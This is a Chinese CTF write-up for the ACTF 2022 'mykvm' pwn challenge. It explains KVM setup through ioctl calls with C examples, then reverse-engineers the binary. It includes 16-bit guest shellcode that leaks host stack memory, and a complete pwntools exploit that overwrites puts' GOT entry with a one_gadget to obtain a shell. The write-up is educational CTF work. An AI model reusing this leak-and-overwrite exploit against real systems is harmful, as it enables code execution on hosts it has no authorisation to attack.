KVM 全称是基于内核的虚拟机(Kernel-based Virtual Machine),它是Linux 的一个内核模块,KVM基于虚拟化扩展(Intel VT 或者 AMD-V)的 X86 硬件的开源的 Linux 原生的全虚拟化解决方案。
KVM 本身不执行任何硬件模拟,需要用户空间程序(QEMU)通过 /dev/kvm 接口设置一个客户机虚拟服务器的地址空间,向它提供模拟 I/O,并将它的视频显示映射回宿主的显示屏。
题目逆向分析
题目来源于ACTF 2022的一道PWN题,给出四个文件,二进制程序在bin文件夹下,其余都是题目部署所用到的文件,可以用docker搭建题目,后面会讲到:
├── bin
│ ├── mykvm
├── ctf.xinetd
├── Dockerfile
└── start.sh
分析二进制文件逻辑,发现代码量并不大,逻辑也很简单:
在函数sub_400B92中,有很多ioctl操作 /dev/kvm 设备文件,但还不知道到底是请求了哪种接口实现了哪种功能:
这里需要了解一下KVM的实现。
KVM实现
GitHub有两个简易的KVM例子供参考:
https://github.com/dpw/kvm-hello-world
https://github.com/kvmtool/kvmtool
阅读源码后,总结出在主机创建一个KVM的基本步骤如下:
- 打开KVM设备
- 创建VM
- 为Guest设置内存
- 创建虚拟CPU
- 为vCPU设置内存
- 将汇编代码放进用户区域,设置vCPU的寄存器
- 运行和处理退出
下面分步骤介绍。
step 1-3
打开KVM设备,创建VM,设置Guest内存。实现代码如下:
void kvm(uint8_t code[], size_t code_len) {
// step 1, open /dev/kvm
int kvmfd = open("/dev/kvm", O_RDWR|O_CLOEXEC);
if(kvmfd == -1)
errx(1, "failed to open /dev/kvm");
// step 2, create VM
int vmfd = ioctl(kvmfd, KVM_CREATE_VM, 0);
// step 3, set up user memory region
size_t mem_size = 0x40000000; // size of user memory you want to assign
void *mem = mmap(0, mem_size, PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_ANONYMOUS, -1, 0);
int user_entry = 0x0;
memcpy((void*)((size_t)mem + user_entry), code, code_len);
struct kvm_userspace_memory_region region = {
.slot = 0,
.flags = 0,
.guest_phys_addr = 0,
.memory_size = mem_size,
.userspace_addr = (size_t)mem
};
ioctl(vmfd, KVM_SET_USER_MEMORY_REGION, ®ion);
/* end of step 3 */
}
以上代码创建一个VM,mmap
为VM分配0x40000000(1GB)大小,设置user_entry
为0,将汇编放在第一页,Guest将从该地址开始执行。
step 4-6
创建虚拟CPU,为vCPU设置内存,将汇编代码放进用户区域。实现代码如下:
/* step 4~6, 创建和设置 vCPU */
void kvm(uint8_t code[], size_t code_len) {
/* step 1-3 ... */
// step 4, create vCPU
int vcpufd = ioctl(vmfd, KVM_CREATE_VCPU, 0);
// step 5, set up memory for vCPU
size_t vcpu_mmap_size = ioctl(kvmfd, KVM_GET_VCPU_MMAP_SIZE, NULL);
struct kvm_run* run = (struct kvm_run*) mmap(0, vcpu_mmap_size, PROT_READ | PROT_WRITE, MAP_SHARED, vcpufd, 0);
// step 6, set up vCPU's registers
/* standard registers include general-purpose registers and flags */
struct kvm_regs regs;
ioctl(vcpufd, KVM_GET_REGS, ®s);
regs.rip = user_entry;
regs.rsp = 0x200000; // stack address
regs.rflags = 0x2; // in x86 the 0x2 bit should always be set
ioctl(vcpufd, KVM_SET_REGS, ®s); // set registers
/* special registers include segment registers */
struct kvm_sregs sregs;
ioctl(vcpufd, KVM_GET_SREGS, &sregs);
sregs.cs.base = sregs.cs.selector = 0; // let base of code segment equal to zero
ioctl(vcpufd, KVM_SET_SREGS, &sregs);
// not finished ...
}
以上代码创建vCPU,设置寄存器,每个kvm_run
结构对应一个vCPU,每个VM可创建多个vCPU。vCPU创建后执行于实模式,也就是说只能执行16位汇编代码,如果需要执行32位或64位,则还需要设置页表。
step 7
运行和处理退出。实现代码如下:
/* step 7 */
void kvm(uint8_t code[], size_t code_len) {
/* ... step 1~6 */
// step 7, execute vm and handle exit reason
while (1) {
ioctl(vcpufd, KVM_RUN, NULL);
switch (run->exit_reason) {
case KVM_EXIT_HLT:
fputs("KVM_EXIT_HLT", stderr);
return 0;
case KVM_EXIT_IO:
/* TODO: check port and direction here */
putchar(*(((char *)run) + run->io.data_offset));
break;
case KVM_EXIT_FAIL_ENTRY:
errx(1, "KVM_EXIT_FAIL_ENTRY: hardware_entry_failure_reason = 0x%llx",
run->fail_entry.hardware_entry_failure_reason);
case KVM_EXIT_INTERNAL_ERROR:
errx(1, "KVM_EXIT_INTERNAL_ERROR: suberror = 0x%x",
run->internal.suberror);
case KVM_EXIT_SHUTDOWN:
errx(1, "KVM_EXIT_SHUTDOWN");
default:
errx(1, "Unhandled reason: %d", run->exit_reason);
}
}
}
在switch
语句中,只需要注意两种状态,即KVM_EXIT_HLT
和KVM_EXIT_IO
,前者由汇编指令hlt
触发,会退出VM。后者由汇编指令in/out
触发,把字符输出到设备。ioctl(vcpufd, KVM_RUN, NULL)
会一直运行,直到退出(如hlt
、out
、error
)
尝试自己的VM
接下来我们直接写16位汇编代码,让其运行在VM的实模式下。以下是一个简单的例子,它输出一个字符“a”:
.code
mov al, 0x61
mov dx, 0x217
out dx, al
hlt
dx
寄存器赋值0x217是将内容输出到这个串行端口。将其编译成16位汇编代码,可以使用nasm,也可以使用工具网站在线汇编:
shell-storm | Online Assembler and Disassembler
uint8_t vmcode[] = "\\xb0\\x61\\xba\\x17\\x02\\xee\\xf4"
kvm(code, sizeof(code));
执行结果(因为没有输出换行符,所以和KVM_EXIT_HLT
连在了一起):
aKVM_EXIT_HLT
题目逆向分析
在了解了KVM的执行原理后,回到题目进行分析。
因为KVM模块是建立在内核中的,所以知道ioctl
的宏定义之后,可以在Linux内核源码进行搜索。以KVM_RUN
为例,存在于源码树 /include/uapi/linux/kvm.h 头文件中,以下是搜索到的结果:
值0x80看起来和题目中的完全不同,看来是_IO(KVMIO, 0x80)
对值进行了处理,对于这种复杂的嵌套宏定义,可以直接写一段C代码把它的值打印出来:
#include<stdio.h>
#include<linux/kvm.h>
void main(){
printf("KVM_CREATE_VM 0x%llx\\n",KVM_CREATE_VM);
printf("KVM_SET_USER_MEMORY_REGION 0x%llx\\n",KVM_SET_USER_MEMORY_REGION);
printf("KVM_CREATE_VCPU 0x%llx\\n",KVM_CREATE_VCPU);
printf("KVM_GET_VCPU_MMAP_SIZE 0x%llx\\n",KVM_GET_VCPU_MMAP_SIZE);
printf("KVM_GET_REGS 0x%llx\\n",KVM_GET_REGS);
printf("KVM_SET_REGS 0x%llx\\n",KVM_SET_REGS);
printf("KVM_GET_SREGS 0x%llx\\n",KVM_GET_SREGS);
printf("KVM_SET_SREGS 0x%llx\\n",KVM_SET_SREGS);
printf("KVM_RUN 0x%llx\\n",KVM_RUN);
}
输出结果:
KVM_CREATE_VM 0xae01
KVM_SET_USER_MEMORY_REGION 0x4020ae46
KVM_CREATE_VCPU 0xae41
KVM_GET_VCPU_MMAP_SIZE 0xae04
KVM_GET_REGS 0x8090ae81
KVM_SET_REGS 0x4090ae82
KVM_GET_SREGS 0x8138ae83
KVM_SET_SREGS 0x4138ae84
KVM_RUN 0xae80
现在输出的值就和题目中一样了,可以根据这些值,配合上面的KVM项目源码对程序进行还原,在IDA中创建了结构体并命名变量后就很接近源码,分析起来就很轻松了。最终得到如下内容:
运行程序
我这里是Mac + VMware + Ubuntu 16,开启了VT虚拟化也找不到/dev/kvm,但是ubuntu 18/20是有这个设备文件的,VirtualBox也是有设备文件的,但是VirtualBox太卡了,所以最终还是妥协,使用Windows + VMware + ubuntu + docker来执行程序,在Ubuntu中使用docker的原因是尽可能的还原题目的环境,和远程保持一致。在docker中开启1234端口,然后gdbserver监听,在ubuntu中远程调试,启动方法如下:
sudo docker run -d -p 1234:1234 -p 8888:8888 --privileged --cap-add=SYS_PTRACE mykvm
gdbserver :1234 --attach PID
漏洞利用分析
程序中最明显的漏洞点在于 size
判断,可发生整数溢出:
![image-20220629181756669](/Users/wangzhenghan/Library/Application Support/typora-user-images/image-20220629181756669.png)但是通过测试的结果,发现这里的漏洞并不能进行利用,在进入run_kvm
函数之后有memcpy
函数使用这个size
,如果size
过大会导致memcpy
报错程序崩溃。
还有另一处不太明显的漏洞,存在于run_kvm
函数内部,memcpy
从栈中拷贝数据到bss段0x603000处,size
是我们可控的,虽然栈大小大于可控size 0x1000,但还是不可避免的拷贝了一些宿主机的栈内容到VM中,造成内存泄露,稍后会验证这一点。
我们可以写一段汇编代码,来遍历整个VM空间,由于是实模式,寻址最多只能20位,所以最多可以遍历0~0xfffff地址的内容,实际上只需要0xffff就足够了,不需要去绞尽脑汁写16位的段寄存器寻址。以下代码会输出VM中0~0xffff内存的所有内容:
mov di,0
mov dx,0x217
.start:
mov al,[di]
out dx,al
inc di
cmp di,0xffff
jne .start
hlt
然后我们可以使用pwntools接收输出内容,并将内容保存成文件,以便分析:
def save_mem():
content = ""
for i in range(0xffff):
content += io.recv(1)
with open('dumpmem','w')as f:
f.write(content)
在导出的文件中可以看到一些宿主机地址,大概偏移在0x400附近,证明了之前说过的memcpy把宿主机栈内容拷贝了进来:
也就是说如果我们写汇编代码将偏移位置的值打印出来就可以完成泄露。经过调试偏移,泄露地址的汇编如下:
mov di,0x416
mov dx,0x217
.start:
mov al,[di]
out dx,al
inc di
cmp di,0x41e
jne .start
hlt
泄露后有了libc地址,要考虑如何利用。
程序执行完run_kvm
后有一个交互可以输入,并将输入内容拷贝到bss段的dest
处,最后调用puts
函数后返回:
由于dest
存储malloc
的一个堆地址,我们可以尝试在VM内存中搜索这个堆地址,计算它在内存中的偏移,就像泄露地址那样,然后在VM中使用汇编对其进行修改,改为got表的地址,在要求输入“host name“时将puts
地址改为one_gadget的地址,最后调用puts
其实就调用了one_gadget,拿到shell。
开启ASLR堆地址会发生变化,在搜索的时候不太方便,可以关闭ASLR来保证每次分配的地址都是一样的,方便搜索。我们还是用之前的汇编将内存dump出来,我这里的堆地址0x60b010,找到在偏移0x7100附近:
以下是开了ASLR的情况,也是在0x7100附近:
经过调试计算得出偏移在0x7100,编写汇编代码,将此处改为got附近的地址,这里将其改为了0x60200d:
mov di,0x7100
mov al,0x0d
mov [di],al
mov al,0x20
mov [di+1],al
mov al,0x60
mov [di+2],al
mov al,0
mov [di+3],al
mov al,0
mov [di+4],al
mov al,0
mov [di+5],al
hlt
然后发现输入完”host name“后,memcpy
函数会向0x60200d进行拷贝,证明修改dest
成功:
正常来说这里直接修改puts
的got就可以了,但还需要考虑一个情况,readline
函数会调用malloc
,堆管理比较混乱,并且不会读入不可见字符,因此最好是修改puts
的最后3个byte成功率会高一些,这也是为什么把写入地址设置为0x60200d的原因。(另外,ASLR对于KVM有一定的影响,在不开启ASLR时,需要泄露的内存偏移在0x9b98,会直接泄露一个main_arena+0x88
的地址,成功率100%,但却打不通开了ASLR的情况,具体什么原因还不是很懂,需要进一步的学习)
最终泄露、写入的汇编代码如下:
mov di,0x416
mov dx,0x217
.start:
mov al,[di]
out dx,al
inc di
cmp di,0x41e
jne .start
mov di,0x7100
mov al,0x08
mov [di],al
mov al,0x20
mov [di+1],al
mov al,0x60
mov [di+2],al
mov al,0
mov [di+3],al
mov al,0
mov [di+4],al
mov al,0
mov [di+5],al
hlt
exp代码如下:
from pwn import *
context.log_level = 'debug'
context.terminal = ['tmux','sp','-h']
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#io = process("./mykvm")
io = remote('127.0.0.1',8888)
#shellcode = "\xbf\x00\x00\xba\x17\x02\x8a\x05\xee\x47\x83\xff\xff\x75\xf7\xf4" # search all memory
#shellcode = "\xbf\x16\x04\xba\x17\x02\x8a\x05\xee\x47\x81\xff\x1e\x04\x75\xf6\xf4" # leak where to read
#shellcode = "\xbf\x00\x71\xba\x17\x02\x8a\x05\xee\x47\x81\xff\x08\x71\x75\xf6\xf4" # leak where to write
shellcode = "\xbf\x16\x04\xba\x17\x02\x8a\x05\xee\x47\x81\xff\x1e\x04\x75\xf6\xbf\x00\x71\xb0\x0d\x88\x05\xb0\x20\x88\x45\x01\xb0\x60\x88\x45\x02\xb0\x00\x88\x45\x03\xb0\x00\x88\x45\x04\xb0\x00\x88\x45\x05\xf4"
'''
search memory:
mov di,0
mov dx,0x217
.start:
mov al,[di]
out dx,al
inc di
cmp di,0xffff
jne .start
hlt
'''
'''
leak libc:
mov di,0x416
mov dx,0x217
.start:
mov al,[di]
out dx,al
inc di
cmp di,0x41e
jne .start
hlt
'''
'''
leak mem idx:
mov di,0x7100
mov dx,0x217
.start:
mov al,[di]
out dx,al
inc di
cmp di,0x7108
jne .start
hlt
'''
'''
write memory:
mov di,0x416
mov dx,0x217
.start:
mov al,[di]
out dx,al
inc di
cmp di,0x41e
jne .start
mov di,0x7100
mov al,0x08
mov [di],al
mov al,0x20
mov [di+1],al
mov al,0x60
mov [di+2],al
mov al,0
mov [di+3],al
mov al,0
mov [di+4],al
mov al,0
mov [di+5],al
hlt
'''
def save_mem():
content = ""
for i in range(0xffff):
content += io.recv(1)
with open('dumpmem','w')as f:
f.write(content)
io.sendlineafter("your code size: \n",str(0x1000))
io.sendafter("your code: \n",shellcode)
# gdb.attach(io,"b *0x40111d")
io.sendlineafter("guest name: ","unr4v31")
io.sendlineafter("guest passwd: ","unr4v31")
# save_mem()
# raw_input()
def findidx():
for i in range(0xffff):
byte = io.recv(1)
if byte == '\x7f':
print hex(i)
raw_input()
else:
continue
# findidx()
raw_input()
libc_base = u64(io.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x7198-0x610000
info(hex(libc_base))
one_gadget = libc_base + 0x45226
info(hex(one_gadget))
io.sendlineafter("host name: ","a"*0x1d+p16(one_gadget&0xffff)+p8((one_gadget&0xff0000)>>16))
io.interactive()
Reference
kvm.h - include/uapi/linux/kvm.h - Linux source code (v5.16-rc1) - Bootlin